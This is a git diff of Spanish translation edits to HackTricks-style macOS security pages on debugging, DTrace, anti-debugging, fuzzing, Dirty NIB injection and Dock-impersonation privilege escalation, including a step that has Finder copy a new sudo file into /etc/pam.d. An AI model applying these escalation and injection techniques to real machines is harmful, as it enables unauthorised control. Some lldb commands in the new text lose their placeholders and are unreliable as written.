+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@@ -97,7 +97,7 @@ Se montará en `/Volumes`
### Binarios empaquetados
- Verificar la alta entropía
-- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetado)
+- Verificar las cadenas (si casi no hay cadenas comprensibles, empaquetadas)
- El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
## Análisis estático de Objective-C
@@ -124,7 +124,7 @@ Los parámetros que esta función espera son:
- El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que debe recibir el mensaje**". O más simplemente, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto.
- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, esto es solo el **nombre del método.**
-- Los parámetros restantes son cualquier **valor que sea requerido por el método** (op).
+- Los parámetros restantes son cualquier **valor que requiera el método** (op).
Vea cómo **obtener esta información fácilmente con `lldb` en ARM64** en esta página:
@@ -135,7 +135,7 @@ arm64-basic-assembly.md
x64:
| **Argumento** | **Registro** | **(para) objc_msgSend** |
-| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
+| ------------------| -------------------------------------------------------------- | ------------------------------------------------------ |
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
| **2do argumento** | **rsi** | **op: nombre del método** |
| **3er argumento** | **rdx** | **1er argumento al método** |
@@ -152,7 +152,7 @@ x64:
```bash
./dynadump dump /path/to/bin
```
-En el momento de escribir esto, este es **actualmente el que mejor funciona**.
+En el momento de la escritura, este es **actualmente el que funciona mejor**.
#### Herramientas regulares
```bash
@@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
```
Puedes encontrar más información sobre la [**información almacenada en esta sección en esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
-Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). **Los símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco legible, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original:
+Además, **los binarios de Swift pueden tener símbolos** (por ejemplo, las bibliotecas necesitan almacenar símbolos para que sus funciones puedan ser llamadas). Los **símbolos generalmente tienen la información sobre el nombre de la función** y atributos de una manera poco clara, por lo que son muy útiles y hay "**demanglers"** que pueden obtener el nombre original:
```bash
# Ghidra plugin
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
@@ -254,7 +254,7 @@ Al hacer clic derecho en un objeto de código, puede ver **referencias a/desde e
-Además, en la **parte media inferior puede escribir comandos de python**.
+Además, en la **parte inferior del medio puede escribir comandos de python**.
#### Panel derecho
@@ -264,14 +264,14 @@ En el panel derecho puede ver información interesante como el **historial de na
Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocadas a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema.
-DTrace utiliza la función **`dtrace_probe_create`** para crear un probe para cada llamada al sistema. Estos probes pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace que solo está disponible para el usuario root.
+DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace, que solo está disponible para el usuario root.
> [!TIP]
> Para habilitar Dtrace sin deshabilitar completamente la protección SIP, podría ejecutar en modo de recuperación: `csrutil enable --without dtrace`
>
> También puede **`dtrace`** o **`dtruss`** binarios que **ha compilado**.
-Los probes disponibles de dtrace se pueden obtener con:
+Las sondas disponibles de dtrace se pueden obtener con:
```bash
dtrace -l | head
ID PROVIDER MODULE FUNCTION NAME
@@ -281,7 +281,7 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
-El nombre de la sonda consta de cuatro partes: el proveedor, módulo, función y nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
+El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no especificas alguna parte del nombre, Dtrace aplicará esa parte como un comodín.
Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se disparen, necesitaremos usar el lenguaje D.
@@ -294,7 +294,7 @@ Ejecuta `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemp
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
```
-- guion
+- script
```bash
syscall:::entry
/pid == $1/
@@ -350,7 +350,7 @@ Para interactuar con kdebug con un cliente personalizado, estos son generalmente
- Eliminar configuraciones existentes con KERN_KDSETREMOVE
- Establecer traza con KERN_KDSETBUF y KERN_KDSETUP
- Usar KERN_KDGETBUF para obtener el número de entradas del búfer
-- Obtener el propio cliente de la traza con KERN_KDPINDEX
+- Sacar el propio cliente de la traza con KERN_KDPINDEX
- Habilitar el trazado con KERN_KDENABLE
- Leer el búfer llamando a KERN_KDREADTR
- Para emparejar cada hilo con su proceso, llamar a KERN_KDTHRMAP.
@@ -373,11 +373,11 @@ O `tailspin`.
### kperf
-Esto se utiliza para hacer un perfilado a nivel de kernel y está construido utilizando llamadas de `Kdebug`.
+Esto se utiliza para hacer un perfilado a nivel de kernel y está construido utilizando llamadas `Kdebug`.
-Básicamente, se verifica la variable global `kernel_debug_active` y si está activada, se llama a `kperf_kdebug_handler` con el código de `Kdebug` y la dirección del marco del kernel que llama. Si el código de `Kdebug` coincide con uno seleccionado, se obtienen las "acciones" configuradas como un bitmap (consulta `osfmk/kperf/action.h` para las opciones).
+Básicamente, se verifica la variable global `kernel_debug_active` y si está configurada, llama a `kperf_kdebug_handler` con el código `Kdebug` y la dirección del marco del kernel que llama. Si el código `Kdebug` coincide con uno seleccionado, obtiene las "acciones" configuradas como un bitmap (ver `osfmk/kperf/action.h` para las opciones).
-Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Este código se puede encontrar en `osfmk/kperf/kperfbsd.c`.
+Kperf también tiene una tabla MIB de sysctl: (como root) `sysctl kperf`. Estos códigos se pueden encontrar en `osfmk/kperf/kperfbsd.c`.
Además, un subconjunto de la funcionalidad de Kperf reside en `kpc`, que proporciona información sobre los contadores de rendimiento de la máquina.
@@ -398,7 +398,7 @@ Necesitas monitorear tu Mac con un comando como **`sudo eslogger fork exec renam
### Crescendo
-[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) es una herramienta GUI con la apariencia que los usuarios de Windows pueden conocer de _Procmon_ de Microsoft Sysinternal. Esta herramienta permite que la grabación de varios tipos de eventos se inicie y detenga, permite filtrar estos eventos por categorías como archivo, proceso, red, etc., y proporciona la funcionalidad para guardar los eventos grabados en un formato json.
+[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) es una herramienta GUI con la apariencia y sensación que los usuarios de Windows pueden conocer de _Procmon_ de Microsoft Sysinternal. Esta herramienta permite que la grabación de varios tipos de eventos se inicie y detenga, permite filtrar estos eventos por categorías como archivo, proceso, red, etc., y proporciona la funcionalidad para guardar los eventos grabados en un formato json.
### Apple Instruments
@@ -438,7 +438,7 @@ settings set target.x86-disassembly-flavor intel
> [!WARNING]
> Dentro de lldb, volcar un proceso con `process save-core`
-
(lldb) Comando
Descripción
run (r)
Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entry
Iniciar la ejecución deteniéndose en el punto de entrada
continue (c)
Continuar la ejecución del proceso depurado.
nexti (n / ni)
Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)
Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)
Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + c
Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)
b main #Cualquier función llamada main
b <binname>`main #Función principal del bin
b set -n main --shlib <lib_name> #Función principal del bin indicado
breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Romper en todas las funciones de esa biblioteca
b -a 0x0000000100004bd9
br l #Lista de puntos de interrupción
br e/dis <num> #Habilitar/Deshabilitar punto de interrupción
breakpoint delete <num>
help
help breakpoint #Obtener ayuda del comando de punto de interrupción
help memory write #Obtener ayuda para escribir en la memoria
Mostrar la memoria como una cadena terminada en nulo.
x/i <reg/dirección de memoria>
Mostrar la memoria como instrucción de ensamblador.
x/b <reg/dirección de memoria>
Mostrar la memoria como byte.
print object (po)
Esto imprimirá el objeto referenciado por el parámetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly
dis #Desensamblar función actual
dis -n <funcname> #Desensamblar función
dis -n <funcname> -b <basename> #Desensamblar función dis -c 6 #Desensamblar 6 líneas dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra dis -p -c 4 # Comenzar en la dirección actual desensamblando
parray
parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sections
Imprimir mapa de la memoria del proceso actual
image dump symtab <library>
image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
+
(lldb) Comando
Descripción
run (r)
Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.
process launch --stop-at-entry
Iniciar la ejecución deteniéndose en el punto de entrada
continue (c)
Continuar la ejecución del proceso depurado.
nexti (n / ni)
Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.
stepi (s / si)
Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.
finish (f)
Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.
control + c
Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.
breakpoint (b)
b main #Cualquier función llamada main
b `main #Función principal del binario
b set -n main --shlib #Función principal del binario indicado
breakpoint set -r '\[NSFileManager .*\]$' #Cualquier método de NSFileManager
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Interrumpir en todas las funciones de esa biblioteca
b -a 0x0000000100004bd9
br l #Lista de puntos de interrupción
br e/dis #Habilitar/Deshabilitar punto de interrupción
breakpoint delete
help
help breakpoint #Obtener ayuda sobre el comando de punto de interrupción
help memory write #Obtener ayuda para escribir en la memoria
Mostrar la memoria como una cadena terminada en nulo.
x/i
Mostrar la memoria como instrucción de ensamblador.
x/b
Mostrar la memoria como byte.
print object (po)
Esto imprimirá el objeto referenciado por el parámetro
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección
disassembly
dis #Desensamblar la función actual
dis -n #Desensamblar función
dis -n -b #Desensamblar función dis -c 6 #Desensamblar 6 líneas dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra dis -p -c 4 # Comenzar en la dirección actual desensamblando
parray
parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1
image dump sections
Imprimir el mapa de la memoria del proceso actual
image dump symtab
image dump symtab CoreNLP #Obtener la dirección de todos los símbolos de CoreNLP
> [!NOTE]
> Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz:
@@ -450,18 +450,18 @@ settings set target.x86-disassembly-flavor intel
>
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
-### Análisis Dinámico Anti
+### Análisis Anti-Dinámico
#### Detección de VM
- El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS** pero algo diferente cuando es una VM.
-- Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM.
+- Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`** algunos malwares intentan detectar si es una VM.
- Algunos malwares también pueden **detectar** si la máquina está basada en **VMware** según la dirección MAC (00:50:56).
- También es posible encontrar **si un proceso está siendo depurado** con un código simple como:
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
-- También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **previene** que un depurador se adjunte y rastree.
+- También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **previene** que un depurador se adjunte y trace.
- Puedes verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
-- Como se señala en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
+- Como se señaló en este informe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT_DENY_ATTACH**_”
## Volcados de Núcleo
@@ -500,7 +500,7 @@ Mientras se realiza fuzzing en MacOS, es importante no permitir que el Mac entre
- pmset, Preferencias del Sistema
- [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
-#### Desconexión de SSH
+#### Desconexión SSH
Si estás realizando fuzzing a través de una conexión SSH, es importante asegurarte de que la sesión no se desconecte. Así que cambia el archivo sshd_config con:
@@ -528,7 +528,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
sort -u recv.log > procs.txt
cat procs.txt
```
-O usa `netstat` o `lsof`
+O use `netstat` o `lsof`
### Libgmalloc
@@ -544,7 +544,7 @@ Funciona para herramientas de línea de comandos
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
-Simplemente "**funciona"** con herramientas GUI de macOS. Tenga en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
+Simplemente "**funciona"** con herramientas GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivos únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Algunos ejemplos:
```bash
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index 040697ff6..15766311c 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -1,11 +1,11 @@
-# Aplicaciones Defensivas de macOS
+# macOS Defensive Apps
{{#include ../../banners/hacktricks-training.md}}
## Firewalls
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Monitoreará cada conexión realizada por cada proceso. Dependiendo del modo (permitir conexiones en silencio, denegar conexión en silencio y alertar) te **mostrará una alerta** cada vez que se establezca una nueva conexión. También tiene una interfaz gráfica muy agradable para ver toda esta información.
-- [**LuLu**](https://objective-see.org/products/lulu.html): Firewall de Objective-See. Este es un firewall básico que te alertará sobre conexiones sospechosas (tiene una interfaz gráfica, pero no es tan elegante como la de Little Snitch).
+- [**LuLu**](https://objective-see.org/products/lulu.html): Cortafuegos de Objective-See. Este es un cortafuegos básico que te alertará sobre conexiones sospechosas (tiene una interfaz gráfica, pero no es tan elegante como la de Little Snitch).
## Detección de persistencia
@@ -14,6 +14,6 @@
## Detección de keyloggers
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Aplicación de Objective-See para encontrar **keyloggers** que instalan "event taps" de teclado
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Aplicación de Objective-See para encontrar **keyloggers** que instalan "event taps" de teclado.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index 7103a6098..1c6722291 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -18,7 +18,7 @@ Esto es muy útil para gestionar la ejecución paralela con éxito, reduciendo e
Un bloque es una **sección de código autocontenida** (como una función con argumentos que devuelve un valor) y también puede especificar variables vinculadas.\
Sin embargo, a nivel de compilador, los bloques no existen, son `os_object`s. Cada uno de estos objetos está formado por dos estructuras:
-- **literal de bloque**:
+- **literal de bloque**:
- Comienza por el campo **`isa`**, que apunta a la clase del bloque:
- `NSConcreteGlobalBlock` (bloques de `__DATA.__const`)
- `NSConcreteMallocBlock` (bloques en el heap)
@@ -80,7 +80,7 @@ Hay varios objetos que libdispatch utiliza y las colas y bloques son solo 2 de e
## Objective-C
-En Objective-C hay diferentes funciones para enviar un bloque para ser ejecutado en paralelo:
+En Objective-C hay diferentes funciones para enviar un bloque para que se ejecute en paralelo:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Envía un bloque para ejecución asíncrona en una cola de despacho y devuelve inmediatamente.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Envía un objeto de bloque para ejecución y devuelve después de que ese bloque termine de ejecutarse.
@@ -100,7 +100,7 @@ struct BlockDescriptor *descriptor;
// captured variables go here
};
```
-Y este es un ejemplo de usar **parallelism** con **`dispatch_async`**:
+Y este es un ejemplo de uso de **parallelism** con **`dispatch_async`**:
```objectivec
#import
@@ -132,7 +132,7 @@ return 0;
```
## Swift
-**`libswiftDispatch`** es una biblioteca que proporciona **enlaces de Swift** al marco Grand Central Dispatch (GCD) que fue escrito originalmente en C.\
+**`libswiftDispatch`** es una biblioteca que proporciona **enlaces de Swift** al marco Grand Central Dispatch (GCD) que originalmente está escrito en C.\
La biblioteca **`libswiftDispatch`** envuelve las API de C GCD en una interfaz más amigable para Swift, facilitando y haciendo más intuitivo para los desarrolladores de Swift trabajar con GCD.
- **`DispatchQueue.global().sync{ ... }`**
@@ -170,7 +170,7 @@ sleep(1) // Simulate a long-running task
```
## Frida
-El siguiente script de Frida se puede utilizar para **interceptar varias funciones `dispatch`** y extraer el nombre de la cola, el backtrace y el bloque: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
+El siguiente script de Frida se puede utilizar para **interceptar varias funciones de `dispatch`** y extraer el nombre de la cola, la traza de la pila y el bloque: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U -l libdispatch.js
@@ -198,7 +198,7 @@ Así que si quieres que las entienda, podrías **declararlas**:
Luego, encuentra un lugar en el código donde se **utilicen**:
> [!TIP]
-> Toma nota de todas las referencias hechas a "block" para entender cómo podrías deducir que se está utilizando la estructura.
+> Nota todas las referencias hechas a "block" para entender cómo podrías deducir que se está utilizando la estructura.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index cf687fffa..b698cf20a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -49,7 +49,7 @@ Usando algo de **ingeniería social**, podrías **suplantar, por ejemplo, Google
{{#tab name="Chrome Impersonation"}}
Algunas sugerencias:
-- Verifica en el Dock si hay un Chrome, y en ese caso **elimina** esa entrada y **agrega** la **entrada falsa** de **Chrome en la misma posición** en el array del Dock.
+- Verifica en el Dock si hay un Chrome, y en ese caso **elimina** esa entrada y **agrega** la **entrada falsa** de **Chrome en la misma posición** en el array del Dock.
```bash
#!/bin/sh
@@ -124,7 +124,7 @@ killall Dock
{{#tab name="Imitación de Finder"}}
Algunas sugerencias:
-- No **puedes quitar Finder del Dock**, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **agregar la entrada del Finder falso al principio del array del Dock**.
+- No **puedes eliminar Finder del Dock**, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **añadir la entrada del Finder falso al principio del array del Dock**.
- Otra opción es no colocarlo en el Dock y simplemente abrirlo, "Finder pidiendo controlar Finder" no es tan raro.
- Otra opción para **escalar a root sin pedir** la contraseña con una horrible ventana, es hacer que Finder realmente pida la contraseña para realizar una acción privilegiada:
- Pedir a Finder que copie a **`/etc/pam.d`** un nuevo archivo **`sudo`** (El aviso pidiendo la contraseña indicará que "Finder quiere copiar sudo")
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
index 3e88c24af..f8139719d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
-**Para más detalles sobre la técnica, consulta la publicación original en:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) y la siguiente publicación de [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Aquí hay un resumen:
+**Para más detalles sobre la técnica, consulta la publicación original de:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) y la siguiente publicación de [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Aquí hay un resumen:
### ¿Qué son los archivos Nib?
-Los archivos Nib (abreviatura de NeXT Interface Builder), parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en las aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI.
+Los archivos Nib (abreviatura de NeXT Interface Builder), parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI.
El archivo Nib principal se referencia en el valor **`NSMainNibFile`** dentro del archivo `Info.plist` de la aplicación y se carga mediante la función **`NSApplicationMain`** ejecutada en la función `main` de la aplicación.
-### Proceso de Inyección de Dirty Nib
+### Proceso de Inyección de Nib Sucio
#### Creación y Configuración de un Archivo NIB
@@ -20,7 +20,7 @@ El archivo Nib principal se referencia en el valor **`NSMainNibFile`** dentro de
- Configura la propiedad `source` inicial a través de Atributos de Tiempo de Ejecución Definidos por el Usuario.
2. **Gadget de Ejecución de Código**:
- La configuración facilita la ejecución de AppleScript bajo demanda.
-- Integra un botón para activar el objeto `Apple Script`, específicamente desencadenando el selector `executeAndReturnError:`.
+- Integra un botón para activar el objeto `Apple Script`, específicamente disparando el selector `executeAndReturnError:`.
3. **Pruebas**:
- Un simple Apple Script para fines de prueba:
@@ -36,11 +36,11 @@ display dialog theDialogText
1. **Preparación**:
- Copia la aplicación objetivo (por ejemplo, Pages) en un directorio separado (por ejemplo, `/tmp/`).
-- Inicia la aplicación para eludir problemas de Gatekeeper y almacenarla en caché.
+- Inicia la aplicación para evitar problemas con Gatekeeper y almacenarla en caché.
2. **Sobrescribiendo el Archivo NIB**:
- Reemplaza un archivo NIB existente (por ejemplo, About Panel NIB) con el archivo DirtyNIB creado.
3. **Ejecución**:
-- Desencadena la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento del menú `About`).
+- Dispara la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento del menú `About`).
#### Prueba de Concepto: Acceso a Datos del Usuario
@@ -52,14 +52,14 @@ display dialog theDialogText
### Otro Ejemplo
-En la publicación [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) puedes encontrar un tutorial sobre cómo crear un dirty nib.
+En la publicación [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) puedes encontrar un tutorial sobre cómo crear un nib sucio.
### Abordando las Restricciones de Lanzamiento
- Las Restricciones de Lanzamiento obstaculizan la ejecución de aplicaciones desde ubicaciones inesperadas (por ejemplo, `/tmp`).
- Es posible identificar aplicaciones que no están protegidas por Restricciones de Lanzamiento y apuntar a ellas para la inyección de archivos NIB.
-### Otras Protecciones de macOS
+### Protecciones Adicionales de macOS
Desde macOS Sonoma, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index 1b2d75d00..a1ceccfbd 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -8,7 +8,7 @@
Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos, y cada tarea puede contener **múltiples hilos**. Estas **tareas e hilos están mapeados 1:1 a procesos y hilos POSIX**.
-La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo.
+La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo.
Un **puerto** es el **elemento básico** de Mach IPC. Se puede usar para **enviar mensajes y recibirlos**.
@@ -25,7 +25,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
- Si el propietario del Derecho de Recepción **muere** o lo mata, el **derecho de envío se vuelve inútil (nombre muerto)**.
- **Derecho de Envío**, que permite enviar mensajes al puerto.
- El Derecho de Envío puede ser **clonado** para que una tarea que posee un Derecho de Envío pueda clonar el derecho y **otorgarlo a una tercera tarea**.
-- Tenga en cuenta que los **derechos de puerto** también pueden ser **pasados** a través de mensajes Mac.
+- Tenga en cuenta que los **derechos de puerto** también pueden ser **pasados** a través de mensajes de Mac.
- **Derecho de Envío-una-vez**, que permite enviar un mensaje al puerto y luego desaparece.
- Este derecho **no puede** ser **clonado**, pero puede ser **movido**.
- **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix.
@@ -35,7 +35,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
### Puertos de Archivo
-Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado utilizando `fileport_makeport` y crear un FD a partir de un fileport utilizando `fileport_makefd`.
+Los puertos de archivo permiten encapsular descriptores de archivo en puertos de Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado utilizando `fileport_makeport` y crear un FD a partir de un fileport utilizando `fileport_makefd`.
### Estableciendo una comunicación
@@ -48,10 +48,10 @@ Para esto, el **servidor de arranque** (**launchd** en mac) está involucrado, y
